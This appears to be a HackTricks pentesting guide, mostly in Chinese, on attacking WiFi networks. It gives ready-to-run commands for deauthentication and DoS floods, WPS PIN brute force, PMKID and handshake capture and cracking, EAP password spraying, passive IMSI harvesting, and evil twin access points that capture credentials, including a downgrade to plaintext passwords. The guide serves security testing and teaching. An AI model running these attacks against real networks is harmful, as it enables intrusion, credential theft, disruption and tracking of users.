Pentesting Wifi

Reading time: 50 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Wifi 基本命令

bash
ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
airodump-ng wlan0mon --wps #Scan WPS
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
iwlist wlan0 scan #Scan available wifis

工具

Hijacker & NexMon (Android 内部 Wi-Fi)

Enable Nexmon Monitor And Injection On Android

EAPHammer

git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup

Airgeddon

bash
mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe

使用 docker 运行 airgeddon

bash
docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon

来源: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux

wifiphisher

它可以执行 Evil Twin、KARMA 和 Known Beacons 攻击,然后使用 phishing template 来获取网络的真实密码或捕获 social network credentials。

bash
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies

Wifite2

该工具可自动化执行 WPS/WEP/WPA-PSK 攻击。它会自动:

  • 将接口置于 monitor mode
  • 扫描可能的网络 — 并允许你选择受害目标
  • 如果是 WEP - 启动 WEP 攻击
  • 如果是 WPA-PSK
  • 如果是 WPS: Pixie dust attack 和 bruteforce attack(注意 brute-force attack 可能需要很长时间)。注意它不会尝试 null PIN 或 database/generated PINs。
  • 尝试从 AP 捕获 PMKID 进行破解
  • 尝试对 AP 的客户端发送 deauthentication 以捕获 handshake
  • 如果得到 PMKID 或 Handshake,尝试使用 top5000 密码进行 bruteforce。

攻击摘要

  • DoS
  • Deauthentication/disassociation -- 断开所有人(或特定 ESSID/Client)
  • Random fake APs -- 隐藏网络,可能导致扫描器崩溃
  • Overload AP -- 试图使 AP 无法工作(通常不太有效)
  • WIDS -- 干扰 IDS
  • TKIP, EAPOL -- 针对某些 AP 的特定 DoS 攻击
  • 破解
  • 破解 WEP(使用多种工具和方法)
  • WPA-PSK
  • WPS pin "Brute-Force"
  • WPA PMKID bruteforce
  • [DoS +] WPA handshake 捕获 + 破解
  • WPA-MGT
  • 用户名捕获
  • Bruteforce 凭证
  • Evil Twin(有或没有 DoS)
  • Open Evil Twin [+ DoS] -- 有助于捕获 captive portal creds 和/或 执行 LAN 攻击
  • WPA-PSK Evil Twin -- 如果知道密码,有利于进行网络攻击
  • WPA-MGT -- 有助于捕获公司凭证
  • KARMA, MANA, Loud MANA, Known beacon
  • + Open -- 有助于捕获 captive portal creds 和/或 执行 LAN 攻击
  • + WPA -- 有助于捕获 WPA handshakes

DOS

Deauthentication Packets

描述来源于 here:.

Deauthentication 攻击是 Wi‑Fi 入侵中常见的一种方法,涉及伪造“管理”帧以 强制断开设备与网络的连接。这些未加密的数据包会欺骗客户端,使其误以为来自合法网络,从而让攻击者能够收集 WPA handshakes 以进行破解,或持续中断网络连接。此策略因其简单而令人警觉,被广泛使用,对网络安全有重大影响。

Deauthentication 使用 Aireplay-ng

aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
  • -0 表示 deauthentication
  • 1 是要发送的 deauths 数量(你可以发送多个);0 表示持续发送
  • -a 00:14:6C:7E:40:80 表示接入点的 MAC 地址
  • -c 00:0F:B5:34:30:30 表示要 deauthenticate 的客户端的 MAC 地址;如果省略则发送广播 deauthentication(不一定有效)
  • ath0 是接口名称

Disassociation Packets

Disassociation packets, similar to deauthentication packets, are a type of management frame used in Wi-Fi networks. 这些数据包用于切断设备(例如笔记本或智能手机)与接入点 (AP) 之间的连接。disassociation 和 deauthentication 之间的主要区别在于它们的使用场景。AP 会发送 deauthentication packets 来明确地将 rogue devices 从网络中移除,而 disassociation packets 通常在 AP 关机、重启或迁移时发送,从而需要断开所有已连接的节点。

该攻击可以使用 mdk4(mode "d") 执行:

bash
# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F

更多由 mdk4 发起的 DOS 攻击

here

ATTACK MODE b: Beacon Flooding

发送 beacon frames 来向 clients 显示 fake APs。 这有时会导致 network scanners 甚至 drivers 崩溃!

bash
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m

ATTACK MODE a: Authentication Denial-Of-Service

向范围内所有可访问的 Access Points (APs) 发送 authentication frames 会使这些 APs 过载,尤其是在涉及大量 clients 时。如此密集的流量会导致系统不稳定,可能使某些 APs 冻结甚至重启。

bash
# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m

攻击模式 p: SSID Probing and Bruteforcing

Probing Access Points (APs) 用于检查 SSID 是否已正确显示,并确认 AP 的覆盖范围。该技术结合有或没有 wordlist 的 bruteforcing hidden SSIDs 可以帮助识别并访问隐藏的网络。

攻击模式 m: Michael Countermeasures Exploitation

向不同的 QoS 队列发送随机或重复的数据包可能在 TKIP APs 上触发 Michael Countermeasures,导致 AP 关闭约一分钟。该方法是一种高效的 DoS (Denial of Service) 攻击手段。

bash
# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]

攻击模式 e: EAPOL Start and Logoff Packet Injection

通过向 AP 泛洪 EAPOL Start frames 会创建 伪会话,使 AP 不堪重负并阻止合法客户端。或者,注入 fake EAPOL Logoff messages 强制断开客户端连接,这两种方法都能有效中断网络服务。

bash
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]

ATTACK MODE s: Attacks for IEEE 802.11s mesh networks

针对网状网络中链路管理和路由的各种攻击。

ATTACK MODE w: WIDS Confusion

通过将客户端交叉连接到多个 WDS 节点或伪造的 rogue APs,可以操纵 Intrusion Detection and Prevention Systems,制造混淆并可能导致系统被滥用。

bash
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]

ATTACK MODE f: Packet Fuzzer

A packet fuzzer 提供多样的 packet sources 以及用于 packet manipulation 的全面 modifiers 集合。

Airggedon

Airgeddon 提供了大多数前面提到的攻击:

WPS

WPS (Wi-Fi Protected Setup) 简化了设备连接路由器的过程,加快并简化了对使用 WPAWPA2 Personal 加密的网络的设置。对于容易被攻破的 WEP,WPS 并无帮助。WPS 使用一个 8 位数字的 PIN,并以两部分进行验证,这使其易受暴力破解攻击,因为其组合数量有限(约 11,000 种可能性)。

WPS Bruteforce

执行此操作主要有两个工具:Reaver 和 Bully。

  • Reaver 旨在成为针对 WPS 的稳健且实用的攻击工具,已在各种接入点和 WPS 实现上进行过测试。
  • Bully 是用 C 编写的 WPS 暴力破解攻击的 新实现。与原始 reaver 代码相比,它有若干优势:依赖更少、内存和 CPU 性能更好、正确处理字节序,并提供更健壮的选项集。

该攻击利用了 WPS PIN 的弱点,尤其是前四位被暴露和末位作为校验和的设计,这大幅降低了暴力破解的难度。然而,对抗暴力破解的防御措施,例如阻止攻击者的 MAC addresses,需要通过 MAC address rotation 来继续攻击。

一旦使用 Bully 或 Reaver 等工具获得 WPS PIN,攻击者就可以推导出 WPA/WPA2 PSK,从而确保对网络的持续访问。

bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3

Smart Brute Force

这种改进的方法针对 WPS PINs,利用已知的漏洞:

  1. Pre-discovered PINs: 利用一个已知 PIN 的数据库,该数据库与已知使用统一 WPS PINs 的特定制造商相关联。该数据库将 MAC-addresses 的前三个八位组与这些制造商可能的 PINs 进行关联。
  2. PIN Generation Algorithms: 利用像 ComputePIN 和 EasyBox 这样的算法,这些算法基于 AP 的 MAC-address 计算 WPS PINs。Arcadyan 算法另外还需要 device ID,为 PIN 生成过程增加了一层。

WPS Pixie Dust attack

Dominique Bongard 发现某些 Access Points (APs) 在生成称为 nonces (E-S1E-S2) 的秘密码时存在缺陷。如果这些 nonces 能被推断出来,破解 AP 的 WPS PIN 就变得容易。

AP 会在一个特殊代码 (hash) 中泄露 PIN,以证明它是合法的而不是伪造 (rogue) AP。 这些 nonces 本质上是解锁存放 WPS PIN 的“保险库”的“钥匙”。更多内容可以在 here 找到。

简单来说,问题在于某些 APs 在连接过程中用于加密 PIN 的密钥不够随机。这导致 PIN 在网络外部容易被猜测(offline brute force attack)。

bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully  wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3

如果你不想将设备切换到 monitor mode,或者 reaverbully 出现问题,可以尝试 OneShot-C。该工具可以在无需切换到 monitor mode 的情况下执行 Pixie Dust attack。

bash
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37

Null Pin attack

一些设计欠佳的系统甚至允许 Null PIN(空或不存在的 PIN)授予访问权限,这相当不寻常。工具 Reaver 能够测试此漏洞,而 Bully 则不能。

bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''

Airgeddon

所有提出的 WPS 攻击都可以使用 airgeddon. 轻松执行。

  • 5 和 6 让你尝试 你的自定义 PIN(如果有的话)
  • 7 和 8 执行 Pixie Dust attack
  • 13 允许你测试 NULL PIN
  • 11 和 12 会 从可用数据库中收集与所选 AP 相关的 PINs生成 可能的 PINs,使用:ComputePIN、EasyBox,和可选的 Arcadyan(推荐,为什么不呢?)
  • 9 和 10 将测试 所有可能的 PIN

WEP

现在已经非常脆弱且几乎不用了。只需知道 airgeddon 有一个名为 "All-in-One" 的 WEP 选项来攻击这种保护。更多工具也提供类似选项。



WPA/WPA2 PSK

PMKID

In 2018, hashcat revealed a new attack method, unique because it only needs one single packet and doesn't require any clients to be connected to the target AP—just interaction between the attacker and the AP.

Many modern routers add an optional field to the first EAPOL frame during association, known as Robust Security Network. This includes the PMKID.

As the original post explains, the PMKID is created using known data:

bash
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

鉴于 "PMK Name" 是常量,我们知道 AP 的 BSSID 和 station,且 PMK 与完整 4-way handshake 中的相同,hashcat 可以使用这些信息破解 PSK 并恢复 passphrase!

收集 这些信息并在本地 bruteforce 密码,你可以执行:

bash
airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
bash
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1

PMKIDs 已捕获 将显示在 console 中,并且也保存在 _ /tmp/attack.pcap_
现在,将抓包转换为 hashcat/john 格式并破解它:

bash
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

请注意,正确的 hash 的格式包含 4 个部分,例如:4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838。如果你的 hash 包含 3 个部分,则无效(PMKID 捕获无效)。

注意 hcxdumptool 也会捕获 handshakes(会出现类似:MP:M1M2 RC:63258 EAPOLTIME:17091)。你可以使用 cap2hccapx 将这些 handshakes 转换为 hashcat/john 格式。

bash
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes

我注意到用这个工具捕获的某些 handshakes 即使知道正确的 password 也无法被 cracked。我建议在可能的情况下也通过传统方式捕获 handshakes,或使用该工具捕获多个 handshakes。

Handshake 捕获

WPA/WPA2 网络的攻击可以通过捕获 handshake 并尝试 crack 密码(offline)来执行。该过程涉及监视特定网络在特定 channel 上的 BSSID 的通信。以下是简化指南:

  1. 识别目标网络的 BSSIDchannel 和一个 connected client
  2. 使用 airodump-ng 在指定的 channel 和 BSSID 上监视网络流量,尝试捕获 handshake。命令如下:
bash
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
  1. 为了增加捕获 handshake 的机会,短暂断开客户端与网络连接以强制重新认证。可以使用 aireplay-ng 命令完成此操作,该命令向客户端发送 deauthentication packets:
bash
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios

注意,客户端被 deauthenticated 后,它可能会尝试连接到不同的 AP,或者在其他情况下连接到不同的网络。

一旦在 airodump-ng 中出现 handshake 信息,这意味着 handshake 已被捕获,你可以停止监听:

一旦 handshake 被捕获,你可以使用 aircrack-ng crack 它:

aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap

检查文件中是否包含 handshake

aircrack

bash
aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture

tshark

bash
tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.

cowpatty

cowpatty -r psk-01.cap -s "ESSID" -f -

如果该工具在已完成的 handshake 之前发现了某个 ESSID 的未完成 handshake,它就不会检测到有效的那个。

pyrit

bash
apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze

WPA Enterprise (MGT)

企业 WiFi 环境中,你会遇到各种认证方法,每种方法提供不同的安全级别和管理功能。当你使用像 airodump-ng 这样的工具检查网络流量时,可能会注意到这些认证类型的标识。一些常见的方法包括:

6A:FE:3B:73:18:FB  -58       19        0    0   1  195  WPA2 CCMP   MGT  NameOfMyWifi
  1. EAP-GTC (Generic Token Card):
  • 该方法在 EAP-PEAP 内支持硬件令牌和一次性密码。与 MSCHAPv2 不同,它不使用 peer challenge,并且以明文将密码发送到接入点,存在被降级攻击的风险。
  1. EAP-MD5 (Message Digest 5):
  • 客户端发送密码的 MD5 哈希。由于易受字典攻击、缺乏服务器认证且无法生成会话特定的 WEP 密钥,不推荐 使用。
  1. EAP-TLS (Transport Layer Security):
  • 使用客户端和服务器端证书进行认证,并且可以动态生成基于用户和基于会话的 WEP 密钥以保护通信。
  1. EAP-TTLS (Tunneled Transport Layer Security):
  • 通过加密隧道提供相互认证,同时提供派生动态、每用户、每会话 WEP 密钥的方法。仅需要服务器端证书,客户端使用凭证。
  1. PEAP (Protected Extensible Authentication Protocol):
  • 与 EAP 类似,通过创建 TLS 隧道来保护通信。隧道提供的保护允许在 EAP 之上使用较弱的认证协议。
  • PEAP-MSCHAPv2: 常被称为 PEAP,它将易受攻击的 MSCHAPv2 挑战/响应机制与保护性的 TLS 隧道结合。
  • PEAP-EAP-TLS (or PEAP-TLS): 类似于 EAP-TLS,但在交换证书之前先建立 TLS 隧道,提供额外的安全层。

关于这些认证方法的更多信息,请参见这里这里

Username Capture

阅读 https://tools.ietf.org/html/rfc3748#page-27 可知,如果你使用 EAP"Identity" messages 必须被 supported,并且 用户名 会在 "Response Identity" 消息中以明文发送。

即使使用最安全的认证方法之一:PEAP-EAP-TLS,也可能捕获 EAP 协议中发送的用户名。方法是捕获一次认证通信(在某个频道里启动 airodump-ng,并在同一接口运行 wireshark),然后按 eapol 过滤数据包。
在 "Response, Identity" 包内,客户端的 用户名 会出现。

Anonymous Identities

EAP-PEAP 和 EAP-TTLS 都支持身份隐藏。在 WiFi 网络的上下文中,EAP-Identity 请求通常由接入点 (AP) 在关联过程中发起。为保护用户匿名性,用户设备上的 EAP 客户端对初始 RADIUS 服务器的响应仅包含处理请求所需的最少信息。以下场景说明了该概念:

  • EAP-Identity = anonymous
  • 在这种情况下,所有用户都使用化名 "anonymous" 作为用户标识。初始 RADIUS 服务器作为 EAP-PEAP 或 EAP-TTLS 服务器,负责管理 PEAP 或 TTLS 协议的服务器端。内部(受保护的)认证方法随后由本地处理或代理到远程(home)RADIUS 服务器。
  • EAP-Identity = anonymous@realm_x
  • 在这种情况下,来自不同 realm 的用户隐藏其身份但指出各自的 realm。这允许初始 RADIUS 服务器将 EAP-PEAP 或 EAP-TTLS 请求代理到他们 home realm 的 RADIUS 服务器,这些服务器充当 PEAP 或 TTLS 服务器。初始 RADIUS 服务器仅作为 RADIUS 转发节点。
  • 或者,初始 RADIUS 服务器也可以作为 EAP-PEAP 或 EAP-TTLS 服务器,既可以处理受保护的认证方法,也可以将其转发到另一台服务器。此选项便于为不同的 realm 配置不同的策略。

在 EAP-PEAP 中,一旦在 PEAP 服务器和 PEAP 客户端之间建立了 TLS 隧道,PEAP 服务器会发起第二次 EAP-Identity 请求并通过 TLS 隧道发送它。客户端通过加密隧道回应此第二次 EAP-Identity 请求,发送包含用户真实身份的 EAP-Identity 响应。此方法有效地防止任何在 802.11 流量上窃听的人获取用户的真实身份。

EAP-TTLS 的流程略有不同。在 EAP-TTLS 中,客户端通常使用 PAP 或 CHAP,在 TLS 隧道的保护下进行认证。在这种情况下,客户端在隧道建立后的初始 TLS 消息中包含一个 User-Name 属性以及 Password 或 CHAP-Password 属性。

无论选择哪种协议,PEAP/TTLS 服务器在 TLS 隧道建立后会获知用户的真实身份。真实身份可以表示为 user@realm 或者仅为 user。如果 PEAP/TTLS 服务器也负责认证该用户,它现在拥有用户身份并继续使用由 TLS 隧道保护的认证方法进行认证。或者,PEAP/TTLS 服务器可能将一个新的 RADIUS 请求转发到用户的 home RADIUS 服务器。这个新的 RADIUS 请求省略了 PEAP 或 TTLS 协议层。如果受保护的认证方法是 EAP,则内部的 EAP 消息在没有 EAP-PEAP 或 EAP-TTLS 包装的情况下传输给 home RADIUS 服务器。外发 RADIUS 消息的 User-Name 属性包含用户的真实身份,替换了进来的匿名 User-Name。当受保护的认证方法是 PAP 或 CHAP(仅 TTLS 支持)时,从 TLS 有效载荷中提取的 User-Name 和其他认证属性会被替换进外发的 RADIUS 消息,取代进来请求中的匿名 User-Name 和 TTLS EAP-Message 属性。

更多信息请参见 https://www.interlinknetworks.com/app_notes/eap-peap.htm

SIM-based EAP (EAP-SIM/EAP-AKA) identity leak (IMSI exposure)

基于 SIM 的 Wi‑Fi 认证(在 802.1X 上使用 EAP‑SIM/EAP‑AKA)如果部署未实现 pseudonyms/protected identities 或在内部 EAP 周围未使用 TLS 隧道,就可能在未经认证的身份阶段以明文 leak 永久订户标识符 (IMSI)。

leak 发生的位置(高层):

  • 802.11 完成与 SSID 的关联(通常是运营商卸载的 SSID,如 FreeWifi_secure、类似 eduroam 的运营商 realm 等)。
  • Authenticator 发送 EAP-Request/Identity。
  • 易受影响的客户端在任何保护之前以永久身份(IMSI,编码为 3GPP NAI)响应 EAP-Response/Identity。
  • 示例 NAI: 20815XXXXXXXXXX@wlan.mnc015.mcc208.3gppnetwork.org
  • 任何被动监听 RF 的人都可以读取该帧。不需要 4-way handshake 或 TLS 密钥派生。

快速 PoC:在缺乏身份隐私的 EAP‑SIM/AKA 网络上被动采集 IMSI

点击展开
bash
# 1) Enable monitor mode
airmon-ng start wlan0

# 2) Optional: lock channel to the target BSS
airodump-ng wlan0mon --essid <SSID>

# 3) Capture 802.1X/EAP frames
# Wireshark display filters:
#   eap || eapol
#   (identity specifically): eap.code == 2 && eap.type == 1
# Kismet: add source wlan0mon; enable 802.1X/EAP views
# tcpdump (pcap capture):
#   tcpdump -i wlan0mon -s 0 -w eapsim_identity.pcap

# 4) Wait for a device to auto-connect to the SSID
# 5) Inspect the first EAP-Response/Identity frame
# Expected: ASCII NAI containing IMSI, e.g.
#   20815XXXXXXXXXX@wlan.mnc015.mcc208.3gppnetwork.org

注意:

  • 如果部署使用裸的 EAP‑SIM/AKA 且没有受保护的身份/假名,则在任何 TLS 隧道之前即可工作。
  • 暴露的值是与订户 SIM 绑定的永久标识;采集后可实现长期跟踪并导致下游的电信滥用。

影响

  • 隐私:在公共场所被动捕获 Wi‑Fi 时可实现对用户/设备的持续跟踪。
  • 电信滥用引导:凭借 IMSI,拥有 SS7/Diameter 访问权限的攻击者可以查询位置或尝试拦截通话/SMS 以及窃取 MFA。

缓解措施 / 检查点

  • 验证客户端是否根据 3GPP 指南(例如 3GPP TS 33.402)为 EAP‑SIM/AKA 使用匿名外部身份(假名)。
  • 优先对身份阶段进行隧道化(例如 EAP‑TTLS/PEAP 携带内部 EAP‑SIM/AKA),以确保 IMSI 不以明文发送。
  • association/auth 的数据包捕获中不应在 EAP-Response/Identity 中泄露原始 IMSI。

相关:使用捕获的移动标识符进行电信信令利用 Telecom Network Exploitation

EAP-Bruteforce (password spray)

如果客户端预计使用 用户名和密码(注意 EAP-TLS 在这种情况下不适用),那么你可以尝试获取一份 用户名(见下一部分)和 密码 列表,并使用 air-hammer 尝试进行 bruteforce 访问。

bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt

你也可以使用 eaphammer 来进行此 attack:

bash
./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt

客户端攻击理论

网络选择与漫游

  • 802.11 协议定义了站点如何加入 Extended Service Set (ESS),但不指定选择 ESS 或其中的 access point (AP) 的标准。
  • 站点可以在共享相同 ESSID 的 APs 之间漫游,在建筑或区域内保持连接。
  • 该协议要求站点对 ESS 进行认证,但不要求 AP 对站点进行认证。

首选网络列表 (PNLs)

  • 站点在其 Preferred Network List (PNL) 中存储其连接过的每个无线网络的 ESSID,以及网络特定的配置细节。
  • PNL 用于自动连接已知网络,通过简化连接过程来提升用户体验。

被动扫描

  • APs 周期性地广播 beacon frames,宣布它们的存在和特性,包括 AP 的 ESSID(除非关闭广播)。
  • 在被动扫描期间,站点监听 beacon frames。如果某个 beacon 的 ESSID 与站点的 PNL 中的条目匹配,该站点可能会自动连接到该 AP。
  • 知道设备的 PNL 可能被利用,通过模拟已知网络的 ESSID,诱使设备连接到恶意 AP。

主动探测

  • 主动探测涉及站点发送 probe requests 来发现附近的 APs 及其特性。
  • Directed probe requests 针对特定 ESSID,有助于检测某个网络是否在范围内,即使它是隐藏网络。
  • Broadcast probe requests 的 SSID 字段为空,发送给所有附近的 APs,让站点在不泄露其 PNL 内容的情况下检查任何首选网络。

简单 AP 并重定向到 Internet

在解释如何执行更复杂的攻击之前,将说明如何创建一个AP重定向它的流量到连接到****Internet的接口。

使用 ifconfig -a 检查用于创建 AP 的 wlan 接口和连接到 Internet 的接口是否存在。

DHCP & DNS

bash
apt-get install dnsmasq #Manages DHCP and DNS

创建配置文件 /etc/dnsmasq.conf

ini
interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

然后 set IPsroutes:

bash
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

然后 启动 dnsmasq:

bash
dnsmasq -C dnsmasq.conf -d

hostapd

bash
apt-get install hostapd

创建一个配置文件 hostapd.conf:

ini
interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1

停止烦人的进程 , 设置 monitor mode, 并 启动 hostapd:

bash
airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf

转发与重定向

bash
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward

Evil Twin

An evil twin attack 利用 WiFi clients 识别网络的方式,主要依赖网络名称 (ESSID),不要求 base station (access point) 向 client 进行认证。关键要点包括:

  • Difficulty in Differentiation:当设备在相同 ESSID 和加密类型 (encryption type) 下时,很难区分 legitimate 和 rogue access points。现实网络通常使用多个具有相同 ESSID 的 access points 来无缝扩展覆盖范围。
  • Client Roaming and Connection Manipulation:802.11 protocol 允许设备在同一 ESS 内的 access points 之间漫游。攻击者可以利用这一点,通过诱使设备断开当前的 base station 并连接到 rogue access point 来实现攻击。实现方式包括提供更强的信号,或通过发送 deauthentication packets 或 jamming 等方法干扰与 legitimate access point 的连接。
  • Challenges in Execution:在存在多个、布置良好的 access points 的环境中,成功执行 evil twin attack 具有挑战性。对单个 legitimate access point 进行 deauthenticating 通常会导致设备连接到另一个 legitimate access point,除非攻击者能对附近所有 access points 进行 deauthenticating 或者策略性地放置 rogue access point。

You can create a very basic Open Evil Twin (no capabilities to route traffic to Internet) doing:

bash
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon

你也可以使用 eaphammer 创建一个 Evil Twin(注意:要用 eaphammer 创建 evil twins,网络接口 should NOT be 处于 monitor 模式):

bash
./eaphammer -i wlan0 --essid exampleCorp --captive-portal

或者使用 Airgeddon: Options: 5,6,7,8,9 (inside Evil Twin attack menu).

请注意,默认情况下如果 PNL 中的 ESSID 被保存为 WPA 保护,设备不会自动连接到 Open evil Twin。您可以尝试对真实 AP 发起 DoS,希望用户会手动连接到您的 Open evil twin,或者您可以对真实 AP 发起 DoS 并使用 WPA Evil Twin 来捕获 handshake(使用这种方法您无法让受害者连接到您,因为您不知道 PSK,但您可以捕获 handshake 并尝试破解它)。

某些 OS 和 AV 会警告用户,连接到开放网络是危险的...

WPA/WPA2 Evil Twin

您可以创建一个 Evil Twin using WPA/2,并且如果设备被配置为用 WPA/2 连接到该 SSID,它们就会尝试连接。无论如何,to complete the 4-way-handshake,您还需要 知道 客户端将要使用的 密码。如果您 不知道 它,连接将不会完成

bash
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"

企业级 Evil Twin

要理解这些攻击,建议先阅读简要的 WPA Enterprise explanation

使用 hostapd-wpe

hostapd-wpe 需要一个 配置 文件才能工作。要 自动化 这些配置的生成,你可以使用 https://github.com/WJDigby/apd_launchpad (下载位于 /etc/hostapd-wpe/ 的 python 文件)

bash
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s

在配置文件中,你可以选择许多不同的项,例如 ssid、channel、user files、cret/key、dh parameters、wpa version 和 auth...

Using hostapd-wpe with EAP-TLS to allow any certificate to login.

使用 EAPHammer

bash
# Generate Certificates
./eaphammer --cert-wizard

# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds

默认情况下,EAPHammer 使用以下认证方法(注意 GTC 是第一个尝试获取明文密码的方法,然后再使用更强的认证方法):

GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5

这是默认的方法,用于避免长时间的连接。但是,你也可以向服务器指定从最弱到最强的身份验证方法:

--negotiate weakest

Or you could also use:

  • --negotiate gtc-downgrade to use highly efficient GTC downgrade implementation (plaintext passwords)
  • --negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP to specify manually the methods offered (offering the same auth methods in the same order as the organisation the attack will be much more difficult to detect).
  • Find more info in the wiki

Using Airgeddon

Airgeddon can use previously generated certificated to offer EAP authentication to WPA/WPA2-Enterprise networks. The fake network will downgrade the connection protocol to EAP-MD5 so it will be able to capture the user and the MD5 of the password. Later, the attacker can try to crack the password.
Airggedon offers you the possibility of a continuous Evil Twin attack (noisy) or only create the Evil Attack until someone connects (smooth).

Debugging PEAP and EAP-TTLS TLS tunnels in Evil Twins attacks

This method was tested in an PEAP connection but as I'm decrypting an arbitrary TLS tunnel this should also works with EAP-TTLS

Inside the configuration of hostapd-wpe comment the line that contains dh_file (from dh_file=/etc/hostapd-wpe/certs/dh to #dh_file=/etc/hostapd-wpe/certs/dh)
这将使 hostapd-wpe 使用 RSA 来交换密钥而不是 DH,因此你将能够在知道服务器私钥的情况下解密流量。

